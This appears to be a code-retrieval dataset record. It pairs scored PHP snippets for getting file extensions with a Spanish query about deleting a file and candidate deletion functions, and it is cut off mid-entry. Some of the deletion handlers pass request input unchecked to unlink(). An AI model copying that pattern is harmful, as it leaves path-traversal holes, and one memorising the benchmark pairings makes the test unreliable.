[ { "docid": "f2a78e5f0d6bc22f002979ce323d6bb5", "score": "0.8814926", "text": "public static function GetExtensionName()\n {\n self::CheckBackend();\n\n $name = self::$backend->Get(\"name\");\n\n if(strlen($name) <= 0)\n {\n $dir_parts = explode(\n \"/\",\n str_replace(\"\\\\\", \"/\", self::$backend->directory)\n );\n\n $name = $dir_parts[count($dir_parts) - 1];\n }\n\n return $name;\n }", "title": "" }, { "docid": "6f2194889ee23babcea7321866b56b26", "score": "0.8352776", "text": "public function getName() {\n return 'app_extension';\n }", "title": "" }, { "docid": "809e4379ab622b7de8a347e2e157dab2", "score": "0.83339167", "text": "public function getExtension()\n {\n $extension = explode('.', $this->name);\n return strtolower(end($extension));\n }", "title": "" }, { "docid": "494193999f5a79f10f8193ec42cc0eba", "score": "0.83128244", "text": "protected function getExtensionName()\n {\n return FluentDriver::EXTENSION_NAME;\n }", "title": "" }, { "docid": "e27170445b60e4c2d57531e7a9847b26", "score": "0.8194624", "text": "public function extension(): string\n {\n return $this->extension;\n }", "title": "" }, { "docid": "94969153efcf187cbb13af03697c0862", "score": "0.8080579", "text": "public function name() {\n\t\treturn $this->_name .'.'. $this->_ext;\n\t}", "title": "" }, { "docid": "cef999893368b3dbd02ee02cf4b4da5e", "score": "0.7950202", "text": "public function getExtensionName(): string\n {\n\t\treturn $this->template->getConfigVars('counter_plugin');\n\t}", "title": "" }, { "docid": "efa61deda707867750cce34fa333746e", "score": "0.79431134", "text": "public function getExtensionName()\n\t{\n\t\treturn $this->template->getConfigVars('advantage_plugin');\n\t}", "title": "" }, { "docid": "a4c0850274731a73e0df820e95a09d58", "score": "0.7926177", "text": "public function getExtension(): string\n {\n return $this->_fs->extension($this->_path);\n }", "title": "" }, { "docid": "9fbeb4fddc73853f6423f220415de9e1", "score": "0.7850708", "text": "public function getName()\n {\n return 'enmash_extension';\n }", "title": "" }, { "docid": "19b243ca589d4c305535f1aece95211a", "score": "0.77972955", "text": "public function getExtension()\n {\n return preg_replace(\n '#^.*\\.([^.]+)$#',\n '$1',\n strtolower($this->getName($this->file))\n );\n }", "title": "" }, { "docid": "23c80d7ff6adb536fc54956845305ba4", "score": "0.7727395", "text": "public function getExtension() {\n\t\treturn $this->_parsed['extension'];\n\t}", "title": "" }, { "docid": "ca3f2acd2ab1f265d816ac0f7c6c873a", "score": "0.7724399", "text": "public function getName()\n {\n return 'cog_extension';\n }", "title": "" }, { "docid": "0e42e2b2042808dd7868f5b4bfbcebf8", "score": "0.7716426", "text": "protected function getExtension(): string\n {\n return pathinfo($this->getFilename(), PATHINFO_EXTENSION);\n }", "title": "" }, { "docid": "8afb00a8d0876584bc806bf3a0065387", "score": "0.767223", "text": "public function getName()\n {\n return 'link_to_extension';\n }", "title": "" }, { "docid": "6f9fb4a22e85da4756bfcde31053ab73", "score": "0.7638968", "text": "public function getName() {\n return 'gedmo_tool_extension';\n }", "title": "" }, { "docid": "001d8151ad267c55b3a8691aa31caaeb", "score": "0.76355803", "text": "public function getExtension()\n {\n return $this->extension;\n }", "title": "" }, { "docid": "001d8151ad267c55b3a8691aa31caaeb", "score": "0.76355803", "text": "public function getExtension()\n {\n return $this->extension;\n }", "title": "" }, { "docid": "001d8151ad267c55b3a8691aa31caaeb", "score": "0.76355803", "text": "public function getExtension()\n {\n return $this->extension;\n }", "title": "" }, { "docid": "55ed3e7390e58a2dc82ab7a52c5d5e59", "score": "0.76268566", "text": "public function extension()\n {\n return $this->guessExtension();\n }", "title": "" }, { "docid": "55ed3e7390e58a2dc82ab7a52c5d5e59", "score": "0.76268566", "text": "public function extension()\n {\n return $this->guessExtension();\n }", "title": "" }, { "docid": "8777a4cc1e972730a01e69ea2d078484", "score": "0.75987005", "text": "public function getExtension();", "title": "" }, { "docid": "bdde9841f8b2e1988c801343312b435d", "score": "0.7594235", "text": "public function getExtension()\r\n {\r\n return $this->extension;\r\n }", "title": "" }, { "docid": "9738dd96ed483612cba4008b4a6e17fd", "score": "0.7557923", "text": "public function getExtension () \r\n {\r\n return $this->extension;\r\n }", "title": "" }, { "docid": "736b52378075f314f9b43987189b4cb5", "score": "0.7551779", "text": "public function getExtension()\n {\n return pathinfo($this->originalName(), PATHINFO_EXTENSION);\n }", "title": "" }, { "docid": "785e3cad3509abb3a4555d31c9a2d553", "score": "0.7549417", "text": "public function getExtension()\n\t{\n\t\treturn $this->extension;\n\t}", "title": "" }, { "docid": "785e3cad3509abb3a4555d31c9a2d553", "score": "0.7549417", "text": "public function getExtension()\n\t{\n\t\treturn $this->extension;\n\t}", "title": "" }, { "docid": "12b36e68e52a02a4b6e55a85d3e56729", "score": "0.7544443", "text": "public function get_extension()\n {\n if ( $this->name ){\n if ( !isset($this->ext) ){\n if ( strpos($this->name, '.') !== false ){\n $p = str::file_ext($this->name, 1);\n $this->ext = $p[1];\n $this->title = $p[0];\n }\n else{\n $this->ext = '';\n $this->title = substr($this->name,-1) === '/' ? substr($this->name,0,-1) : $this->name;\n }\n }\n return $this->ext;\n }\n return false;\n }", "title": "" }, { "docid": "bc2f9603e087bf27093f0b61ee7e9f36", "score": "0.75423473", "text": "public function getExtension(): string {\n return $this->src->getExtension();\n }", "title": "" }, { "docid": "e9750384035a0b386b7ec1165311153b", "score": "0.7542105", "text": "public function getName()\n {\n return 'home_extension';\n\n }", "title": "" }, { "docid": "598d5bab5df3e20245acf49f3881c1fa", "score": "0.75253296", "text": "public function getExtension()\n {\n return self::get_file_extension($this->Name);\n }", "title": "" }, { "docid": "19716d1cc8bfdf09db148a13b8e041fd", "score": "0.75245184", "text": "public function getFileName()\n {\n if (strpos($this->name, '.') !== false) {\n return $this->name;\n }\n return $this->name . '.' . $this->extension;\n }", "title": "" }, { "docid": "dc8b3c81c991633830bb8189329ada35", "score": "0.7514893", "text": "public function getExtension() {\n\t\treturn $this->app->filesystem->getExtension($this->get('file'));\n\t}", "title": "" }, { "docid": "09ba16b5b257ff4698e1fd5538eec5c9", "score": "0.749837", "text": "public function getExtension() {}", "title": "" }, { "docid": "09ba16b5b257ff4698e1fd5538eec5c9", "score": "0.749837", "text": "public function getExtension() {}", "title": "" }, { "docid": "408a9e5e781a49166fa2b1c602f79348", "score": "0.7481422", "text": "public function getExtensionAttribute()\n\t{\n\t\treturn ($p = strrpos($this->name, '.')) !== false ?\n\t\t\tsubstr($this->name, $p + 1) :\n\t\t\t'';\n\t}", "title": "" }, { "docid": "d2fec6ceb6d775a37192c13edce42fb5", "score": "0.7480017", "text": "public function getExtension() : string {\n $fArr = explode('.', $this->getName());\n\n if (count($fArr) > 1) {\n return $fArr[count($fArr) - 1];\n }\n\n $mime = $this->getMIME();\n $mimeTypes = MIME::TYPES;\n\n foreach ($mimeTypes as $ext => $xMime) {\n if ($xMime == $mime) {\n return $ext;\n }\n }\n\n return 'bin';\n }", "title": "" }, { "docid": "8a611606696df7df8aafc6506ee44268", "score": "0.7472962", "text": "public function getFileName()\n {\n return $this->name . '.' . $this->extension;\n }", "title": "" }, { "docid": "eeaf8ac31314793a0acd70f9f52f0b78", "score": "0.74689007", "text": "public function getExt()\n\t{\n\t\t$sRet\t\t= \"\";\n\t\t$sFileName\t= $this->getName();\n\t\tif ( ! empty( $sFileName ) )\n\t\t{\n\t\t\t$pDot = strrchr( $sFileName, '.' );\n\t\t\tif ( ! empty( $pDot ) )\n\t\t\t{\n\t\t\t\t$sRet = strtolower( substr( $pDot, 1 ) );\n\t\t\t}\n\t\t}\n\n\t\treturn $sRet;\n\t}", "title": "" }, { "docid": "be03c09fc36aa796f30bd28a90b590e1", "score": "0.7459988", "text": "public function getExtension() : string\n {\n return pathinfo( $this->path, PATHINFO_EXTENSION );\n }", "title": "" }, { "docid": "c11f3a4ed68df87712c8520bff86bb5a", "score": "0.7459225", "text": "public function getExtension() {\n $extension= '';\n if ($extensions= explode(',', $this->get('file_extensions'))) {\n $extension= $extensions[0];\n }\n return $extension;\n }", "title": "" }, { "docid": "0f91367193f3755edea73591268a5edc", "score": "0.74582905", "text": "public function getExtension(): string\n {\n return pathinfo($this->getPath(), PATHINFO_EXTENSION);\n }", "title": "" }, { "docid": "cdc6f189474488623cba906a71c20f49", "score": "0.74516654", "text": "public function getNameWithNoExt() : string {\n $currentName = $this->getName();\n $expl = explode('.', $currentName);\n\n if (count($expl) > 1) {\n array_pop($expl);\n }\n\n return implode('.', $expl);\n }", "title": "" }, { "docid": "5d7b244515681c033c9a6da3ae3003b7", "score": "0.74406016", "text": "function getExtension(){\n\t\treturn substr($this->link, strrpos($this->link, \".\")+1,strlen($this->link));\n\t}", "title": "" }, { "docid": "559e83bdd64375ad9f5db0696ceabdce", "score": "0.7436208", "text": "public function get_extension() {\n\t\treturn $this->extension;\n\t}", "title": "" }, { "docid": "dcf39d210b4a90676a5c6c97082a1540", "score": "0.7411993", "text": "function getExtension();", "title": "" }, { "docid": "2db75b17f8dc9511992a3e303bb41701", "score": "0.74020725", "text": "public function extension(): string;", "title": "" }, { "docid": "6b1760a671a12708c4452c8c5df91733", "score": "0.7394399", "text": "public function getName()\n {\n return 'context_extension';\n }", "title": "" }, { "docid": "6f5040e16b7cdb4efdfe34c9e7d824f0", "score": "0.739331", "text": "public function getName(): string\n {\n return 'ResponsiveImagesExtension';\n }", "title": "" }, { "docid": "5b4c0badd6cd5750179f97b940ae4f0a", "score": "0.7381547", "text": "public function getName(): string\n {\n return 'meta.twig.meta_extension';\n }", "title": "" }, { "docid": "e0248a7d7fc74e492bdbc7156f8fc30b", "score": "0.7380962", "text": "public function getName() {\n return \"markdown_parser.extension\";\n }", "title": "" }, { "docid": "79eee6f05a91d88f67e5f4bdfff1af19", "score": "0.7372275", "text": "public function getName()\n {\n return $this->getNamespace('addon.name');\n }", "title": "" }, { "docid": "dd8ff300cac8a2bc0da786835892e6e4", "score": "0.73400897", "text": "public function getName()\n {\n return 'clooder_imagine_extension';\n }", "title": "" }, { "docid": "3bda2e8e45257f41772c95ddba6c72e1", "score": "0.73362225", "text": "public function getName()\n {\n return 'sort_extension';\n }", "title": "" }, { "docid": "41ea515fbe9ef4566058d854eac8a2f6", "score": "0.7328238", "text": "public function getExt()\n {\n return explode(\"/\", $this->type)[1];\n }", "title": "" }, { "docid": "c7a3febae4b24b05956f01cd613e7294", "score": "0.7308644", "text": "public function getExtension()\n {\n if ($this->value === '') {\n return '';\n }\n\n $position = mb_strrpos($this->value, '.');\n if (!$position) {\n return '';\n }\n return mb_substr($this->value, $position+1);\n }", "title": "" }, { "docid": "613a606c170d2ecd89a43c0a1b675887", "score": "0.7294983", "text": "public function getName() {\n\t\treturn 'filters_extension';\n\t}", "title": "" }, { "docid": "891943511f2219e2162473dfa08e1231", "score": "0.7291832", "text": "public function extension(): string\n {\n return $this->file->type;\n }", "title": "" }, { "docid": "ae9a2f6102de3a28a8f23c82b84da8b9", "score": "0.7274406", "text": "public function getName()\n {\n return 'api_generator_extension';\n }", "title": "" }, { "docid": "59a10601f6915f486cc39f12b9c0b39c", "score": "0.7268306", "text": "public function getExtensionName()\n {\n return false;\n }", "title": "" }, { "docid": "966a2cfb68646cac1255821f63305438", "score": "0.7253822", "text": "public function getExtension() {\n\n\t\t$afile = explode('.',$this->filename);\n\t\t$extension = array_pop($afile);\n\n\t\treturn $extension;\n\n\t}", "title": "" }, { "docid": "833fc610dae8806d2c3698d02b737d72", "score": "0.7212532", "text": "public static function getExtension(): string\n {\n // append dummy part\n $path = parse_url(self::getURI());\n\n // removing slashes\n $path['path'] = rtrim($path['path'], '/');\n\n // getting file extension\n return pathinfo($path['path'], PATHINFO_EXTENSION);\n }", "title": "" }, { "docid": "5ad6d53078a64d0b4731be71702a2136", "score": "0.72014093", "text": "public function getExtension()\n\t{\n return $this->adapter->getExtension();\n\t}", "title": "" }, { "docid": "ed0958695df39af4324e6c270a8a9631", "score": "0.72013223", "text": "public function filename() {\n $filename = $this->get(\"name\");\n if ($this->get(\"extension\"))\n $filename.= \".\".$this->get(\"extension\");\n return $filename;\n }", "title": "" }, { "docid": "30bf3cadbacd7ef8ee0edbd17af42ece", "score": "0.7181398", "text": "public function getName()\n {\n return 'lsw_gettext_translation_extension';\n }", "title": "" }, { "docid": "3bef70a023df76cf4603803f0f06aa4e", "score": "0.71774805", "text": "public function name()\n\t{\n\t\treturn pathinfo($this->file, PATHINFO_FILENAME);\n\t}", "title": "" }, { "docid": "aa51f1f166c921584a9898cfa2ebda5e", "score": "0.7166188", "text": "public function getName()\r\n {\r\n return 'stringParserExtension';\r\n }", "title": "" }, { "docid": "5b0de444dfb3394e03bc528eb0572211", "score": "0.71649325", "text": "function getName()\n {\n return text::webalize($_GET['file'], '.');\n }", "title": "" }, { "docid": "30a10d1e93f62e4886f4b07b5e83957d", "score": "0.71640843", "text": "public function addon_name()\n {\n return substr(strrchr(static::class, \"\\\\\"),1);\n }", "title": "" }, { "docid": "bd544ef233444b3d129f906d4b9f31b1", "score": "0.7162332", "text": "public function getBaseFileNameAddon(): string\n\t{\n\t\treturn $this->baseFilenameAddon;\n\t}", "title": "" }, { "docid": "f5667919643a85da8a39a65d51da2dd1", "score": "0.71576816", "text": "public function getName()\n {\n if ( $this->file )\n {\n return $this->file->getName();\n }\n\n return \"\";\n }", "title": "" }, { "docid": "ead3ef5abf560a3622f877ec26cd3d81", "score": "0.71569586", "text": "public function getName()\n {\n return \\Lang::trans($this->type . '.' . $this->slug . '::addon.name');\n }", "title": "" }, { "docid": "f62555d18aab06a3bf186e30e95b7fdc", "score": "0.71536714", "text": "public function getName(): string\n {\n return basename($this->pathname, '.info.yml');\n }", "title": "" }, { "docid": "d5719c68949e1a2aa235926ca33ae7bc", "score": "0.7133127", "text": "public function getExt()\n {\n return $this->ext;\n }", "title": "" }, { "docid": "0aced32bc3d3052f1efe49c6008f3e1e", "score": "0.7131819", "text": "public function getExtension($includeDot = true);", "title": "" }, { "docid": "258715546d2859757eb1bb4caa73a262", "score": "0.71205914", "text": "public function getName()\n {\n return 'admin_service_extension';\n }", "title": "" }, { "docid": "3a5ee1d0ca20ce23fb35126c696ab232", "score": "0.71181244", "text": "public function getName() : string {\n return $this->fileName;\n }", "title": "" }, { "docid": "19f1632d03332b4955ce1442d8872b1f", "score": "0.7105916", "text": "public function extension() { \r\n if( !$this->m_extension ) {\r\n $ext = getextension( $this->m_filename );\r\n $this->m_extension = $ext;\r\n }\r\n return $this->m_extension;\r\n }", "title": "" }, { "docid": "6674e605f6ce7d2ea4608acbb87f7a20", "score": "0.71001303", "text": "function getFilename()\n\t\t{\n\t\t\t$fnm = pathinfo($this->pth, PATHINFO_FILENAME).\".\".pathinfo($this->pth, PATHINFO_EXTENSION);\n\t\t\treturn($fnm);\n\t\t}", "title": "" }, { "docid": "8aa793b785aa561d77175dc02beeb529", "score": "0.70997965", "text": "public function getExtension() {\n if ($this->extension == '') {\n /* @noinspection PhpDeprecationInspection */\n return $this->getLegacyExtension();\n }\n\n return $this->extension;\n }", "title": "" }, { "docid": "8727535750d7430493caa6ab1e217144", "score": "0.7077923", "text": "public function ext()\n\t{\n\t\treturn Tools::MimeToExt($this->mime(), $this->name());\n\t}", "title": "" }, { "docid": "475f0b2b086a5d252384462a437638c0", "score": "0.70734996", "text": "public function get_extension() {\n\t\tif ( false !== $this->extension ) {\n\t\t\treturn $this->extension;\n\t\t}\n\n\t\tif ( ! $this->is_valid() ) {\n\t\t\t$this->extension = null;\n\t\t\treturn $this->extension;\n\t\t}\n\n\t\t$this->extension = $this->filesystem->path_info( $this->get_original_path(), 'extension' );\n\n\t\treturn $this->extension;\n\t}", "title": "" }, { "docid": "8bbf07ef0dd71edc40ef668ad852e3ea", "score": "0.70581764", "text": "protected function getExtension()\n {\n return $this->attachedFile->getExtension();\n }", "title": "" }, { "docid": "37b3a56cb7afd0e008caa67c73cd92bb", "score": "0.7052454", "text": "function get_extension($filename) {\n return (count($tmp = explode('.', basename($filename))) > 1) ? strtolower(array_pop($tmp)) : '';\n }", "title": "" }, { "docid": "b2ee309dc17ae5b015775c00dfeaab5c", "score": "0.7051501", "text": "public function getExtension()\n {\n $parts = explode('.',$this->originalFileName);\n return end($parts);\n }", "title": "" }, { "docid": "bbe11e97dae6e206a2f1ff9deb8aea96", "score": "0.7049062", "text": "public function getName()\n {\n return $this->package->getName();\n }", "title": "" }, { "docid": "2963ee6c2f7926f6cbdd53f8d9c187f9", "score": "0.704007", "text": "public function getFileExtension(): string\n {\n return $this->fileExtension;\n }", "title": "" }, { "docid": "b1aecf349ebea2cde4d6ea2b32ef881a", "score": "0.70317745", "text": "public function outputExtension(): string\n {\n return $this->detectFormat(true)[1];\n }", "title": "" }, { "docid": "2f604e060d6ea77ccb4f3a5da6227587", "score": "0.70297533", "text": "public function getExtension() {\n if (empty($this->url)) return $this->getOriginExtension();\n $ext = Strings::extension($this->url);\n if ($ext === false) return $this->getOriginExtension();\n return $ext;\n }", "title": "" }, { "docid": "97b8021a4915cd16c7b08b97645d7d84", "score": "0.7013268", "text": "public function getName() {\n\t\treturn $this->file;\n\t}", "title": "" }, { "docid": "f45221fed70342d21b19f37097211ab6", "score": "0.69972146", "text": "function getExtensionName() {\n // return 'xhprof';\n if (extension_loaded('tideways')) {\n return 'tideways';\n } elseif (extension_loaded('xhprof')) {\n return 'xhprof';\n }\n return false;\n}", "title": "" }, { "docid": "c8f77dd7c44d045e66663b49505a3fc0", "score": "0.69770974", "text": "function Get_Extension(){\r\n\t\t$this->Extension = strrchr( $this->File_Name, \".\" );\r\n }", "title": "" }, { "docid": "160542e601c43650ba2b1990daa678be", "score": "0.6970495", "text": "public function extension()\n\t{\n\t\treturn pathinfo($this->file, PATHINFO_EXTENSION);\n\t}", "title": "" }, { "docid": "659554b71708f2dc07c07f4bc7deace1", "score": "0.6966434", "text": "public function getExtensionKey()\n\t{\n\t\treturn $this->extensionKey;\n\t}", "title": "" }, { "docid": "4b44cb2d4a05d613d0ee547c362598bb", "score": "0.6962937", "text": "public function getExtension()\n {\n return null;\n }", "title": "" }, { "docid": "af6922906b768fe9e47704950f448777", "score": "0.69527024", "text": "function mbtng_extension () {\r\n\t$requested = mbtng_requested();\r\n\tif (mbtng_display_page())\r\n\t\treturn strtolower(substr($requested, strrpos($requested, '.') + 1));\r\n}", "title": "" }, { "docid": "f570671a48424a66697a71ef7bb30bc6", "score": "0.69507676", "text": "public function getExtension()\n {\n return pathinfo($this->path, PATHINFO_EXTENSION);\n }", "title": "" }, { "docid": "439fce6702eeb9930e538802e8c8fadb", "score": "0.69464743", "text": "public function getOriginExtension() {\n return Strings::extension($this->origin);\n }", "title": "" }, { "docid": "053d384f02b481c152154ace634cba82", "score": "0.6945503", "text": "function getFileExtension()\n\t\t{\n\t\t\t$ext = pathinfo($this->pth, PATHINFO_EXTENSION);\n\t\t\treturn($ext);\n\t\t}", "title": "" }, { "docid": "2fcb6dbe7dc6ff5ad7105c3721f810ea", "score": "0.69430405", "text": "public function getName()\n {\n return 'mtc_core.twig_extension';\n }", "title": "" } ]
2552145733a0d61582ab5b4dfed4adf4
Para borrar un archivo
[ { "docid": "88eb609e66206d061ba479be23baab6d", "score": "0.0", "text": "public function eliminar_productos($id){\n $stmt=$this->conexion->conectar()->prepare(\"DELETE FROM productos WHERE id_producto=:id\");\n $stmt->bindParam(\":id\",$id,PDO::PARAM_STR);\n $stmt->execute();\n $stmt->closeCursor();\n }", "title": "" } ]
[ { "docid": "68717a33039269ef885ecce0bb53d956", "score": "0.69541705", "text": "private function eliminarfile(){\n if($this->get_request_method() != \"GET\"){\n $this->response('',406);\n }\n $file = $this->_request['file'];\n $dir = \"../documentacion/activacion/\";\n if($dh = opendir($dir)){\n if(file_exists($dir.$file)) @unlink($dir.$file);\n closedir($dh);\n $respuesta = \"Archivo eliminado\";\n }\n //echo $respuesta;\n $this->response(json_encode(\"OK\"), 200);\n // send user details\n\n $this->response('',204); // If no records \"No Content\" status\n }", "title": "" }, { "docid": "1664f5e6b649e9f3a0e49c1329f0acf9", "score": "0.6887497", "text": "public function borrar()\n\t{\n\t\t $id = intval(self::get(\"id\"));\n $this->leerAtributo(\"objeto\")->borrar($id);\n exit;\n\t}", "title": "" }, { "docid": "ec3df6cc3f95f399aecf563ff700e8e6", "score": "0.68789786", "text": "public function borrarArchivo($data){\n try {\n $sql = \"SELECT consig_file FROM consignageneral WHERE consig_id = ?\";\n $query = $this->pdo->prepare($sql);\n $const = $query->execute(array($data));\n $result= $query->fetchALL(PDO::FETCH_BOTH);\n if (count($result) == 0 && $const == 1) { //Sin no arrojó resultados && se ejecutó\n return false;\n }else {\n foreach ($result as $key => $value) {\n unlink($value[0]);\n }\n $sql1 = \"DELETE FROM consignageneral WHERE consig_id = ?\";\n $query1 = $this->pdo->prepare($sql1);\n $save1 = $query1->execute(array($data));\n if ($save1 == true) {\n return true;\n }else {\n return false;\n }\n }\n } catch (\\Exception $e) {\n die($e->getMessage());\n }\n }", "title": "" }, { "docid": "a8ea2d6593a69f53c08e5876af8f5b69", "score": "0.6746106", "text": "private function eliminarfile1(){\n if($this->get_request_method() != \"GET\"){\n $this->response('',406);\n }\n $file = $this->_request['file'];\n $dir = \"../uploads/\";\n if($dh = opendir($dir)){\n if(file_exists($dir.$file)) @unlink($dir.$file);\n closedir($dh);\n $respuesta = \"Archivo eliminado\";\n }\n //echo $respuesta;\n $this->response(json_encode(\"OK\"), 200);\n // send user details\n\n $this->response('',204); // If no records \"No Content\" status\n }", "title": "" }, { "docid": "d7d7c23c6c18b1e002ce08b3788d2673", "score": "0.66551787", "text": "public static function __Borrar($leg)\r\n {\r\n $var = fopen(\"./BD.txt\",'r');\r\n $lista= array();\r\n $listaaux = array();\r\n $ext;\r\n\r\n while(!feof($var))\r\n $lista[] = explode('*',fgets($var));\r\n\r\n foreach($lista as $indice=> $valor)\r\n if(isset($valor[3]) && $valor[3] == $leg )\r\n $ext = $valor[4];\r\n \r\n foreach($lista as $indice=> $valor)\r\n if(isset($valor[3]) && $valor[3] != $leg ) \r\n $listaaux[] = $valor;\r\n \r\n $var = fclose(\"./BD.txt\");\r\n $var = fopen(\"./BD.txt\",'w+');\r\n\r\n foreach($listaaux as $indice=> $valor)\r\n fwrite($var, $valor[0].'*'.$valor[1].'*'.$valor[2].'*'.$valor[3].'*'.$valor[4]. PHP_EOL);\r\n \r\n $ext = array_reverse(explode('.', $ext));\r\n $msg = $ext[1] . '.' . trim($ext[0],\"\");\r\n if (unlink(\"../img/\". $msg ) == false)\r\n echo '**NO SE HA ENCONTRADO ARCHIVO ' . $leg . '.'.$ext[0].\"**\";\r\n fclose($var);\r\n\r\n echo '<br>===================SE BORRO EL REGISTRO:'.$leg.'==================<br>';\r\n \r\n }", "title": "" }, { "docid": "24634992a6cf9e0046c504848977b383", "score": "0.6587014", "text": "function Borrar() {\n $sql = \"select * from Trabajo where codTrabajo= '\" . $this->codTrab . \"' and codAsignatura= '\" . $this->codAsig . \"';\";\n $resultado = mysql_query($sql);\n if (mysql_num_rows($resultado) == 1) {\n $sql = \"delete from Trabajo where codTrabajo='\" . $this->codTrab . \"' and codAsignatura='\" . $this->codAsig . \"';\";\n mysql_query($sql);\n echo \"<br> El trabajo con código \" . $this->codTrab . \" fue borrado correctamente<br>\";\n } else {\n echo \"<br> El trabajo con código \" . $this->codTrab . \" no existe<br>\";\n }\n }", "title": "" }, { "docid": "2df29df243af6f3e71d991e24f99d916", "score": "0.6576021", "text": "public function delete()\n\t{\n\t\t$in = System::getData();\n\t\tif(!isset($in->id)) return System::send(); \n\n\t\t// Pegando o nome (extensão) do arquivo\n\t\t$nome = $this->getFileNameById($in->id);\n\n\t\t// Caso o arquivo não mais exista ...\n\t\tif($nome == false) return System::send(['error' => false, 'msg' => 'Arquivo \"'.$nome['completo'].'\" excluído!']);\n\n\t\t// Excluindo no diretório\n\t\t$file = _ROOTPATH.'/files/'.(0 + $in->id).'.'.$nome['ext'];\n\t\t@unlink($file);\n\n\t\tif(!is_file($file)){\n\t\t\t// Excluindo do banco de dados\n\t\t\t(new DB)->query('DELETE FROM arquivo WHERE id=:id', [':id' => $in->id]);\n\n\t\t\treturn System::send(['error' => false, 'msg' => 'Arquivo \"'.$nome['completo'].'\" excluído!']);\n\t\t}\n\t\treturn System::send(['error' => true, 'msg' => 'Não consegui excluir o arquivo!']);\n\t}", "title": "" }, { "docid": "81c204a7100d00cf20c1baf0f18b080b", "score": "0.65665823", "text": "public static function deletarArquivo($arquivo){\r\n return unlink($arquivo);\r\n }", "title": "" }, { "docid": "1afb90d1496b647443b3f2458992826b", "score": "0.6508435", "text": "public function deleteFile(): void\n {\n $path = $this->getPath();\n if (file_exists($path) && is_file($path) && mb_strpos($this->getFilename(), 'dw4jV3zYSPsqE2CB8BcP8ABD0.') === false) {\n unlink($path);\n }\n }", "title": "" }, { "docid": "ba153ac7ea29df5044b218bffd49beac", "score": "0.6499242", "text": "public function borrarArchivosCDP(){\n \n $vectorTerminaciones = explode('/',$this->terminacionesArchivos);\n \n for ($i=1; $i <= $this->cantArchivos; $i++) { \n $nombre = $this::raizArchivo.\n $this->rellernarCerosIzq($this->codReposicionGastos,6).\n '-'.\n $this->rellernarCerosIzq($i,2).\n '.'.\n $vectorTerminaciones[$i-1];\n Storage::disk('reposiciones')->delete($nombre);\n Debug::mensajeSimple('Se acaba de borrar el archivo:'.$nombre);\n }\n }", "title": "" }, { "docid": "b1802ebfef4dfcbcc21c732250810e80", "score": "0.64958817", "text": "public function deleteFile() {\n $file = file_load($this->fid);\n if ($file) {\n return file_delete($file);\n }\n }", "title": "" }, { "docid": "e3178ae7d4c08a2863489a5b5066593c", "score": "0.6490873", "text": "public function deleteFile() {\n\n }", "title": "" }, { "docid": "f35aaf17008b130a60b3962b50777f92", "score": "0.6454071", "text": "public function unlink();", "title": "" }, { "docid": "ea306158775b698c5435960d49c257ab", "score": "0.64325815", "text": "public function delete()\n {\n $this->remote->delete($this->file);\n }", "title": "" }, { "docid": "767a398d5017e5c21b994f9bc1e754c3", "score": "0.6422925", "text": "public function eliminando(){\n\t\tif($this->eliminandoDatos=='1'){\n\t\t$archivo=fopen($this->nombre_txt,'w');\n\t\tfwrite($archivo,'');\n\t\tfclose($archivo);\n\t\techo '';\n\t\t}\n\t}", "title": "" }, { "docid": "7b06ca498cebb34097bee47d0def61eb", "score": "0.6420221", "text": "public function delete() {\n if (unlink($this->fullPath)) {\n $this->fullPath = '';\n $this->mimeType = '';\n $this->simpleName = '';\n $this->size = 0;\n } else {\n throw new Exception('Check write Access to delete file!');\n }\n }", "title": "" }, { "docid": "7ecd6a75635941e2466f1559b75a18fc", "score": "0.6416913", "text": "public function eliminar_archivo_cab()\n\t{\n\t\tif (!$this->input->is_ajax_request()) {\n\t\t\tshow_404();\n\t\t}\n\t\ttry {\n\t\t\t$casuntoregula = $this->input->post('casuntoregula');\n\t\t\t$centidadregula = $this->input->post('centidadregula');\n\t\t\t$ctramite = $this->input->post('ctramite');\n\t\t\t$cdocumento = $this->input->post('cdocumento');\n\n\t\t\tif (empty($cdocumento)) {\n\t\t\t\tthrow new Exception('Falta de parametros para eliminar el archivo.');\n\t\t\t}\n\n\t\t\t$mdocumentoregula = $this->mpdocumentoregulatorio->buscar(\n\t\t\t\t$casuntoregula,\n\t\t\t\t$centidadregula,\n\t\t\t\t$ctramite,\n\t\t\t\t$cdocumento\n\t\t\t);\n\n\t\t\tif (empty($mdocumentoregula)) {\n\t\t\t\tthrow new Exception('El archivo no pudo ser encontrado.');\n\t\t\t}\n\n\t\t\tif (!empty($mdocumentoregula[0]->DUBICACIONFILESERVER)) {\n\t\t\t\t$data = [\n\t\t\t\t\t'DUBICACIONFILESERVER' => null,\n\t\t\t\t\t'SCARGADOCUMENTO' => 'E',\n\t\t\t\t];\n\t\t\t\t$this->mpdocumentoregulatorio->actualizar(\n\t\t\t\t\t$casuntoregula,\n\t\t\t\t\t$centidadregula,\n\t\t\t\t\t$ctramite,\n\t\t\t\t\t$cdocumento,\n\t\t\t\t\t$data\n\t\t\t\t);\n\t\t\t\tif (file_exists('./FTPfileserver/Archivos/' . $mdocumentoregula[0]->DUBICACIONFILESERVER)) {\n\t\t\t\t\tunlink(RUTA_ARCHIVOS . $mdocumentoregula[0]->DUBICACIONFILESERVER);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->result['status'] = 200;\n\t\t\t$this->result['message'] = 'Archivo principal eliminado correctamnete.';\n\t\t} catch (Exception $ex) {\n\t\t\t$this->result['message'] = $ex->getMessage();\n\t\t}\n\t\tresponseResult($this->result);\n\t}", "title": "" }, { "docid": "e78646b876a488d419760b7658d78606", "score": "0.63880765", "text": "public function silo_delete( $path ) {}", "title": "" }, { "docid": "065ba5762de9f3c15ea4473f8b91ec48", "score": "0.6360601", "text": "public function borrarImagen($id_imagen){\n $sentencia = $this->db->prepare( \"delete from imagen where id_imagen=?\");\n $sentencia->execute([$id_imagen]);\n }", "title": "" }, { "docid": "ad6239d043b4935bffffc2defefcb53a", "score": "0.63450855", "text": "public function eliminar_archivo()\n\t{\n\t\tif (!$this->input->is_ajax_request()) {\n\t\t\tshow_404();\n\t\t}\n\t\ttry {\n\t\t\t$id = $this->input->post('id');\n\t\t\t$objDocumentoArchivo = $this->mpdocumentoregulatorioarchivo->buscar($id);\n\t\t\tif (empty($objDocumentoArchivo)) {\n\t\t\t\tthrow new Exception('El archivo del documento no pudo ser encontrado.');\n\t\t\t}\n\t\t\t$this->mpdocumentoregulatorioarchivo->delete($id);\n\t\t\tif (!empty($objDocumentoArchivo->DUBICACIONFILESERVER) && file_exists('./FTPfileserver/Archivos/' . $objDocumentoArchivo->DUBICACIONFILESERVER)) {\n\t\t\t\tunlink(RUTA_ARCHIVOS . 